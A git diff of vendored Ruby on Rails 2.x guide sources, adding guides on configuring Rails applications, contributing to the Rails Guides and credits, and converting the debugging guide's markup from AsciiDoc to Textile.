+ +rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
+
diff --git a/vendor/rails/railties/guides/source/configuring.textile b/vendor/rails/railties/guides/source/configuring.textile
new file mode 100644
index 00000000..d97ed56e
--- /dev/null
+++ b/vendor/rails/railties/guides/source/configuring.textile
@@ -0,0 +1,234 @@
+h2. Configuring Rails Applications
+
+This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:
+
+* Adjust the behavior of your Rails applications
+* Add additional code to be run at application start time
+
+endprologue.
+
+
+h3. Locations for Initialization Code
+
+Rails offers (at least) five good spots to place initialization code:
+
+* Preinitializers
+* environment.rb
+* Environment-specific Configuration Files
+* Initializers (load_application_initializers)
+* After-Initializers
+
+h3. Using a Preinitializer
+
+Rails allows you to use a preinitializer to run code before the framework itself is loaded. If you save code in +RAILS_ROOT/config/preinitializer.rb+, that code will be the first thing loaded, before any of the framework components (Active Record, Action Pack, and so on.) If you want to change the behavior of one of the classes that is used in the initialization process, you can do so in this file.
+
+h3. Configuring Rails Components
+
+In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The +environment.rb+ and environment-specific configuration files (such as +config/environments/production.rb+) allow you to specify the various settings that you want to pass down to all of the components. For example, the default Rails 2.3 +environment.rb+ file includes one setting:
+
+
+config.time_zone = 'UTC'
+
+
+This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same +config+ object:
+
+
+config.active_record.colorize_logging = false
+
+
+Rails will use that particular setting to configure Active Record.
+
+h4. Configuring Active Record
+
+ActiveRecord::Base includes a variety of configuration options:
+
+* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8.x Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging.
+
+* +primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices:
+** +:table_name+ would make the primary key for the Customer class +customerid+
+** +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+
+
+* +table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string.
+
+* +table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string.
+
+* +pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table.
+
+* +colorize_logging+ (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord.
+
+* +default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:local+.
+
+* +schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements.
+
+* +timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application.
+
+* +lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+.
+
+The MySQL adapter adds one additional configuration option:
+
+* +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether ActiveRecord will consider all +tinyint(1)+ columns in a MySQL database to be booleans. By default this is +true+.
+
+The schema dumper adds one additional configuration option:
+
+* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +ActiveRecord::Base.schema_format == :ruby+.
+
+h4. Configuring Action Controller
+
+ActionController::Base includes a number of configuration settings:
+
+* +asset_host+ provides a string that is prepended to all of the URL-generating helpers in +AssetHelper+. This is designed to allow moving all javascript, CSS, and image files to a separate asset host.
+
+* +consider_all_requests_local+ is generally set to +true+ during development and +false+ during production; if it is set to +true+, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to +false+ and implement +local_request?+ to specify which requests should provide debugging information on errors.
+
+* +allow_concurrency+ should be set to +true+ to allow concurrent (threadsafe) action processing. Set to +false+ by default. You probably don't want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Instead, you should simply call +config.threadsafe!+ inside your +production.rb+ file, which makes all the necessary adjustments.
+
+WARNING: Threadsafe operation in incompatible with the normal workings of development mode Rails. In particular, automatic dependency loading and class reloading are automatically disabled when you call +config.threadsafe!+.
+
+* +param_parsers+ provides an array of handlers that can extract information from incoming HTTP requests and add it to the +params+ hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active.
+
+* +default_charset+ specifies the default character set for all renders. The default is "utf-8".
+
+* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.
+
+* +resource_action_separator+ gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/".
+
+* +resource_path_names+ is a hash of default names for several RESTful actions. By default, the new action is named +new+ and the edit action is named +edit+.
+
+* +request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default.
+
+* +optimise_named_routes+ turns on some optimizations in generating the routing table. It is set to +true+ by default.
+
+* +use_accept_header+ sets the rules for determining the response format. If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept header into account. If it is set to false then the request format will be determined solely by examining +params[:format]+. If there is no +format+ parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request.
+
+* +allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes.
+
+* +relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+.
+
+The caching code adds two additional settings:
+
+* +ActionController::Caching::Pages.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to +RAILS_ROOT + "/public"+).
+
+* +ActionController::Caching::Pages.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+.
+
+The dispatcher includes one setting:
+
+* +ActionController::Dispatcher.error_file_path+ gives the path where Rails will look for error files such as +404.html+. The default is +Rails.public_path+.
+
+The Active Record session store can also be configured:
+
+* +CGI::Session::ActiveRecordStore::Session.data_column_name+ sets the name of the column to use to store session data. By default it is 'data'
+
+h4. Configuring Action View
+
+There are only a few configuration options for Action View, starting with four on +ActionView::Base+:
+
+* +debug_rjs+ specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is +false+.
+
+* +warn_cache_misses+ tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is +false+.
+
+* +field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is Proc.new{ |html_tag, instance| "
#{html_tag}
" }
+
+* +default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+.
+
+The ERB template handler supplies one additional option:
+
+* +ActionView::TemplateHandlers::ERB.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information.
+
+h4. Configuring Action Mailer
+
+There are a number of settings available on +ActionMailer::Base+:
+
+* +template_root+ gives the root folder for Action Mailer templates.
+
+* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.
+
+* +smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options:
+** +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
+** +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it.
+** +:domain+ - If you need to specify a HELO domain, you can do it here.
+** +:user_name+ - If your mail server requires authentication, set the username in this setting.
+** +:password+ - If your mail server requires authentication, set the password in this setting.
+** +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+.
+
+* +sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options:
+** +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+.
+** +:arguments+ - The command line arguments. Defaults to +-i -t+.
+
+* +raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+.
+
+* +delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+.
+
+* +perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing.
+
+* +default_charset+ tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to +utf-8+.
+
+* +default_content_type+ specifies the default content type used for the main part of the message. It defaults to "text/plain"
+
+* +default_mime_version+ is the default MIME version for the message. It defaults to +1.0+.
+
+* +default_implicit_parts_order+ - When a message is built implicitly (i.e. multiple parts are assembled from templates
+which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to +["text/html", "text/enriched", "text/plain"]+. Items that appear first in the array have higher priority in the mail client
+and appear last in the mime encoded message.
+
+h4. Configuring Active Resource
+
+There is a single configuration setting available on +ActiveResource::Base+:
+
+logger accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging.
+
+h4. Configuring Active Support
+
+There are a few configuration options available in Active Support:
+
+* +ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
+
+* +ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations.
+
+* +ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
+
+h4. Configuring Active Model
+
+Active Model currently has a single configuration setting:
+
+* +ActiveModel::Errors.default_error_messages+ is an array containing all of the validation error messages.
+
+h3. Using Initializers
+
+After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under +/config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.
+
+NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the +initializers+ folder on down.
+
+TIP: If you have any ordering dependency in your initializers, you can control the load order by naming. For example, +01_critical.rb+ will be loaded before +02_normal.rb+.
+
+h3. Using an After-Initializer
+
+After-initializers are run (as you might guess) after any initializers are loaded. You can supply an +after_initialize+ block (or an array of such blocks) by setting up +config.after_initialize+ in any of the Rails configuration files:
+
+
+config.after_initialize do
+  SomeClass.init
+end
+
+
+WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called.
+
+h3. Rails Environment Settings
+
+Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
+
+* +ENV['RAILS_ENV']+ defines the Rails environment (production, development, test, and so on) that Rails will run under.
+
+* +ENV['RAILS_RELATIVE_URL_ROOT']+ is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
+
+* +ENV["RAILS_ASSET_ID"]+ will override the default cache-busting timestamps that Rails generates for downloadable assets.
+
+* +ENV["RAILS_CACHE_ID"]+ and +ENV["RAILS_APP_VERSION"]+ are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
+
+* +ENV['RAILS_GEM_VERSION']+ defines the version of the Rails gems to use, if +RAILS_GEM_VERSION+ is not defined in your +environment.rb+ file.
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28
+
+* January 3, 2009: First reasonably complete draft by "Mike Gunderloy":credits.html#mgunderloy
+* November 5, 2008: Rough outline by "Mike Gunderloy":credits.html#mgunderloy
diff --git a/vendor/rails/railties/guides/source/contribute.textile b/vendor/rails/railties/guides/source/contribute.textile
new file mode 100644
index 00000000..48f1a51d
--- /dev/null
+++ b/vendor/rails/railties/guides/source/contribute.textile
@@ -0,0 +1,77 @@
+h2. Contribute to the Rails Guides
+
+Rails Guides aim to improve the Rails documentation and to make the barrier to entry as low as possible. A reasonably experienced developer should be able to use the Guides to come up to speed on Rails quickly. You can track the overall effort at the "Rails Guides Lighthouse":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets. Our sponsors have contributed prizes for those who write an entire guide, but there are many other ways to contribute.
+
+endprologue.
+
+h3. How to Contribute?
+
+* We have an open commit policy: anyone is welcome to contribute, but you'll need to ask for commit access.
+* PM lifo at "GitHub":http://github.om asking for "docrails":http://github.com/lifo/docrails commit access.
+* Guides are written in Textile, and reside at railties/guides/source in the docrails project.
+* All images are in the railties/guides/images directory.
+* Sample format : "Active Record Associations":http://github.com/lifo/docrails/blob/3e56a3832415476fdd1cb963980d0ae390ac1ed3/railties/guides/source/association_basics.textile
+* Sample output : "Active Record Associations":http://guides.rails.info/association_basics.html
+* You can build the Guides during testing by running railties/guides/rails_guides.rb.
+
+h3. What to Contribute?
+
+* We need authors, editors, proofreaders, and translators. Adding a single paragraph of quality content to a guide is a good way to get started.
+* The easiest way to start is by improving an existing guide:
+** Improve the structure to make it more coherent
+** Add missing information
+** Correct any factual errors
+** Fix typos or improve style
+** Bring it up to date with the latest Edge Rails
+* We're also open to suggestions for entire new guides
+** Contact lifo or mikeg1a in IRC or via "email":mailto:MikeG1@larkfarm.com to get your idea approved
+** If you're the main author on a significant guide, you're eligible for the prizes
+
+h3. How to Commit
+
+* If you have a small change or typo fix, just ask lifo for commit access and commit it to the project.
+* If your change is more significant, post a patch or a message on Lighthouse, and commit after you get a +1 from lifo or mikeg1a.
+* If the guide is already marked done, you should get a +1 before pushing your changes.
+* Put [#<ticket number>] in your commit message to enable GitHub/Lighthouse integration.
+
+h3. Prizes
+
+For each completed guide, the lead contributor will receive all of the following prizes:
+
+* $200 from Caboose Rails Documentation Project.
+* 1 year of GitHub Micro account worth $84.
+* 1 year of RPM Basic (Production performance management) for up to 10 hosts worth 12 months x $40 per host x $10 hosts = $4800. And also, savings of $45 per host per month over list price to upgrade to advanced product.
+
+h3. Rules
+
+* Guides are licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 License.
+* If you're not sure whether a guide is actively being worked on, stop by IRC and ask.
+* If the same guide writer wants to write multiple guides, that's ideally the situation we'd love to be in! However, that guide writer will only receive the cash prize for all the subsequent guides (and not the GitHub or RPM prizes).
+* Our review team will have the final say on whether the guide is complete and of good enough quality.
+
+h3. Reviewers
+
+These are the main reviewers and editors for the guides:
+
+* Hongli Lai
+* Mike Gunderloy
+* Pratik Naik
+* Xavier Noria
+
+All authors should read and follow the "Rails Guides Conventions":http://wiki.github.com/lifo/docrails/rails-guides-conventions and the "Rails API Documentation Conventions":http://wiki.github.com/lifo/docrails/rails-api-documentation-conventions.
+
+h3. Translations
+
+The translation effort for the Rails Guides is just getting underway. We know about projects to translate the Guides into Spanish, Portuguese, Polish, and French. For more details or to get involved see the "Translating Rails Guides":http://wiki.github.com/lifo/docrails/translating-rails-guides page.
+
+h3. IRC Channel
+
+==#docrails @ irc.freenode.net==
+
+h3. Contact
+
+If you have any questions or need any clarification, feel free to contact:
+
+* IRC : lifo, mikeg1a, fxn, or FooBarWidget in #docrails
+* Email : pratiknaik aT gmail
+
diff --git a/vendor/rails/railties/guides/source/credits.erb.textile b/vendor/rails/railties/guides/source/credits.erb.textile
new file mode 100644
index 00000000..441ea60f
--- /dev/null
+++ b/vendor/rails/railties/guides/source/credits.erb.textile
@@ -0,0 +1,39 @@
+<% content_for :header_section do %>
+h2. Credits
+
+p. We'd like to thank the following people for their tireless contributions to this project.
+
+<% end %>
+
+<% author('Frederick Cheung', 'fcheung') do %>
+  Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at "spacevatican.org":http://www.spacevatican.org.
+<% end %>
+
+<% author('Tore Darell', 'toretore') do %>
+  Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the internet is his blog "Sneaky Abstractions":http://tore.darell.no.
+<% end %>
+
+<% author('Jeff Dean', 'zilkey') do %>
+  Jeff Dean is a software engineer with "Pivotal Labs":http://pivotallabs.com.
+<% end %>
+
+<% author('Mike Gunderloy', 'mgunderloy') do %>
+  Mike Gunderloy is a consultant with "ActionRails":http://www.actionrails.com and also a member of the "Rails activism team":http://rubyonrails.org/activists . He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at "A Fresh Cup":http://afreshcup.com and he "twitters":http://twitter.com/MikeG1 too much.
+<% end %>
+
+<% author('Cássio Marques', 'cmarques') do %>
+  Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at "/* CODIFICANDO */":http://cassiomarques.wordpress.com, which is mainly written in Portuguese, but will soon get a new section for posts with English translation.
+<% end %>
+
+<% author('Pratik Naik', 'lifo') do %>
+  Pratik Naik is a Ruby on Rails consultant with "ActionRails":http://www.actionrails.com and also a member of the "Rails core team":http://rubyonrails.com/core. He maintains a blog at "has_many :bugs, :through => :rails":http://m.onkey.org and has an active "twitter account":http://twitter.com/lifo.
+
+<% author('Emilio Tagua', 'miloops') do %>
+  Emilio Tagua -- a.k.a. miloops -- is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of "Eventioz":http://www.eventioz.com. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as miloops.
+<% end %>
+
+<% author('Heiko Webers', 'hawe') do %>
+  Heiko Webers is the founder of "bauland42":http://www.bauland42.de, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the "Ruby on Rails Security Project":http://www.rorsecurity.info. After 10 years of desktop application development, Heiko has rarely looked back.
+<% end %>
+
+<% end %>
diff --git a/vendor/rails/railties/doc/guides/source/debugging_rails_applications.txt b/vendor/rails/railties/guides/source/debugging_rails_applications.textile
similarity index 54%
rename from vendor/rails/railties/doc/guides/source/debugging_rails_applications.txt
rename to vendor/rails/railties/guides/source/debugging_rails_applications.textile
index 4425d924..b1d6db2e 100644
--- a/vendor/rails/railties/doc/guides/source/debugging_rails_applications.txt
+++ b/vendor/rails/railties/guides/source/debugging_rails_applications.textile
@@ -1,5 +1,4 @@
-Debugging Rails Applications
-============================
+h2. Debugging Rails Applications
 
 This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:
 
@@ -8,30 +7,31 @@ This guide introduces techniques for debugging Ruby on Rails applications. By re
 * Learn the different ways of debugging
 * Analyze the stack trace
 
-== View Helpers for Debugging
+endprologue.
+
+h3. View Helpers for Debugging
 
 One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:
 
-* `debug`
-* `to_yaml`
-* `inspect`
+* +debug+
+* +to_yaml+
+* +inspect+
 
-=== debug
+h4. debug
 
-The `debug` helper will return a 
-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
+The +debug+ helper will return a <pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
 
-[source, html]
-----------------------------------------------------------------------------
+
 <%= debug @post %>
 

   Title:
   <%=h @post.title %>
 

-----------------------------------------------------------------------------
+
 
 You'll see something like this:
 
-----------------------------------------------------------------------------
+
 --- !ruby/object:Post
 attributes:
   updated_at: 2008-09-05 22:55:47
@@ -44,26 +44,25 @@ attributes_cache: {}
 
 
 Title: Rails debugging guide
-----------------------------------------------------------------------------
+
 
-=== to_yaml
+h4. to_yaml
 
 Displaying an instance variable, or any other object or method, in yaml format can be achieved this way:
 
-[source, html]
-----------------------------------------------------------------------------
+
 <%= simple_format @post.to_yaml %>
 

   Title:
   <%=h @post.title %>
 

-----------------------------------------------------------------------------
+
 
-The `to_yaml` method converts the method to YAML format leaving it more readable, and then the `simple_format` helper is used to render each line as in the console. This is how `debug` method does its magic.
+The +to_yaml+ method converts the method to YAML format leaving it more readable, and then the +simple_format+ helper is used to render each line as in the console. This is how +debug+ method does its magic.
 
 As a result of this, you will have something like this in your view:
 
-----------------------------------------------------------------------------
+
 --- !ruby/object:Post
 attributes:
 updated_at: 2008-09-05 22:55:47
@@ -75,109 +74,98 @@ created_at: 2008-09-05 22:55:47
 attributes_cache: {}
 
 Title: Rails debugging guide
-----------------------------------------------------------------------------
+
 
-=== inspect
+h4. inspect
 
-Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example:
+Another useful method for displaying object values is +inspect+, especially when working with arrays or hashes. This will print the object value as a string. For example:
 
-[source, html]
-----------------------------------------------------------------------------
+
 <%= [1, 2, 3, 4, 5].inspect %>
 

   Title:
   <%=h @post.title %>
 

-----------------------------------------------------------------------------
+
 
 Will be rendered as follows:
 
-----------------------------------------------------------------------------
+
 [1, 2, 3, 4, 5]
 
 Title: Rails debugging guide
-----------------------------------------------------------------------------
+

 
-=== Debugging Javascript
+h4. Debugging Javascript
 
-Rails has built-in support to debug RJS, to active it, set `ActionView::Base.debug_rjs` to _true_, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).
+Rails has built-in support to debug RJS, to active it, set +ActionView::Base.debug_rjs+ to _true_, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).
 
-To enable it, add the following in the `Rails::Initializer do |config|` block inside +environment.rb+:
+To enable it, add the following in the +Rails::Initializer do |config|+ block inside +environment.rb+:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 config.action_view[:debug_rjs] = true
-----------------------------------------------------------------------------
+
 
-Or, at any time, setting `ActionView::Base.debug_rjs` to _true_:
+Or, at any time, setting +ActionView::Base.debug_rjs+ to _true_:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 ActionView::Base.debug_rjs = true
-----------------------------------------------------------------------------
+
 
-[TIP]
-For more information on debugging javascript refer to link:http://getfirebug.com/[Firebug], the popular debugger for Firefox.
+TIP: For more information on debugging javascript refer to "Firebug":http://getfirebug.com/, the popular debugger for Firefox.
 
-== The Logger
+h3. The Logger
 
 It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
 
-=== What is The Logger?
+h4. What is The Logger?
 
-Rails makes use of Ruby's standard `logger` to write log information. You can also substitute another logger such as `Log4R` if you wish.
+Rails makes use of Ruby's standard +logger+ to write log information. You can also substitute another logger such as +Log4R+ if you wish.
 
 You can specify an alternative logger in your +environment.rb+ or any environment file:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 ActiveRecord::Base.logger = Logger.new(STDOUT)
 ActiveRecord::Base.logger = Log4r::Logger.new("Application Log")
-----------------------------------------------------------------------------
+
 
 Or in the +Initializer+ section, add _any_ of the following
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 config.logger = Logger.new(STDOUT)
 config.logger = Log4r::Logger.new("Application Log")
-----------------------------------------------------------------------------
+
 
-[TIP]
-By default, each log is created under `RAILS_ROOT/log/` and the log file name is +environment_name.log+.
+TIP: By default, each log is created under +RAILS_ROOT/log/+ and the log file name is +environment_name.log+.
 
-=== Log Levels
+h4. Log Levels
 
-When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the `ActiveRecord::Base.logger.level` method.
+When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the +ActiveRecord::Base.logger.level+ method.
 
 The available log levels are: +:debug+, +:info+, +:warn+, +:error+, and +:fatal+, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 config.log_level = Logger::WARN # In any environment initializer, or
 ActiveRecord::Base.logger.level = 0 # at any time
-----------------------------------------------------------------------------
+
 
 This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
 
-[TIP]
-The default Rails log level is +info+ in production mode and +debug+ in development and test mode.
+TIP: The default Rails log level is +info+ in production mode and +debug+ in development and test mode.
 
-=== Sending Messages
+h4. Sending Messages
 
-To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer:
+To write in the current log use the +logger.(debug|info|warn|error|fatal)+ method from within a controller, model or mailer:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 logger.debug "Person attributes hash: #{@person.attributes.inspect}"
 logger.info "Processing the request..."
 logger.fatal "Terminating application, raised unrecoverable error!!!"
-----------------------------------------------------------------------------
+
 
 Here's an example of a method instrumented with extra logging:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 class PostsController < ApplicationController
   # ...
 
@@ -197,99 +185,95 @@ class PostsController < ApplicationController
 
   # ...
 end
-----------------------------------------------------------------------------
+
 
 Here's an example of the log generated by this method:
 
-----------------------------------------------------------------------------
+
 Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
   Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
 vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
-  Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails", 
- "body"=>"I'm learning how to print in logs!!!", "published"=>"0"}, 
+  Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
  "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
-New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", 
+New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
  "published"=>false, "created_at"=>nil}
 Post should be valid: true
-  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published", 
- "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails', 
+  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
  'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
 The post was saved and now is the user is going to be redirected...
 Redirected to #
 Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
-----------------------------------------------------------------------------
+
 
 Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.
 
-== Debugging with ruby-debug
+h3. Debugging with ruby-debug
 
 When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
 
 The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
 
-=== Setup
+h4. Setup
 
 The debugger used by Rails, +ruby-debug+, comes as a gem. To install it, just run:
 
-[source, shell]
-----------------------------------------------------------------------------
+
 $ sudo gem install ruby-debug
-----------------------------------------------------------------------------
+
 
-In case you want to download a particular version or get the source code, refer to the link:http://rubyforge.org/projects/ruby-debug/[project's page on rubyforge].
+In case you want to download a particular version or get the source code, refer to the "project's page on rubyforge":http://rubyforge.org/projects/ruby-debug/.
 
-Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method.
+Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the +debugger+ method.
 
 Here's an example:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 class PeopleController < ApplicationController
   def new
     debugger
     @person = Person.new
   end
 end
-----------------------------------------------------------------------------
+
 
 If you see the message in the console or logs:
 
-----------------------------------------------------------------------------
+
 ***** Debugger requested, but was not available: Start server with --debugger to enable *****
-----------------------------------------------------------------------------
+
 
 Make sure you have started your web server with the option +--debugger+:
 
-[source, shell]
-----------------------------------------------------------------------------
+
 ~/PathTo/rails_project$ script/server --debugger
 => Booting Mongrel (use 'script/server webrick' to force WEBrick)
 => Rails 2.2.0 application starting on http://0.0.0.0:3000
 => Debugger enabled
 ...
-----------------------------------------------------------------------------
+
 
-[TIP]
-In development mode, you can dynamically `require \'ruby-debug\'` instead of restarting the server, if it was started without `--debugger`.
+TIP: In development mode, you can dynamically +require \'ruby-debug\'+ instead of restarting the server, if it was started without +--debugger+.
 
 In order to use Rails debugging you'll need to be running either *WEBrick* or *Mongrel*. For the moment, no alternative servers are supported.
 
-=== The Shell
+h4. The Shell
 
-As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
+As soon as your application calls the +debugger+ method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt +(rdb:n)+. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
 
 If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
 
 For example:
 
-----------------------------------------------------------------------------
+
 @posts = Post.find(:all)
 (rdb:7)
-----------------------------------------------------------------------------
+
 
-Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: `help` (You didn't see that coming, right?)
+Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: +help+ (You didn't see that coming, right?)
 
-----------------------------------------------------------------------------
+
 (rdb:7) help
 ruby-debug help v0.10.2
 Type 'help ' for help on a specific command
@@ -300,16 +284,15 @@ break      disable  eval    info    p     reload   source  undisplay
 catch      display  exit    irb     pp    restart  step    up
 condition  down     finish  list    ps    save     thread  var
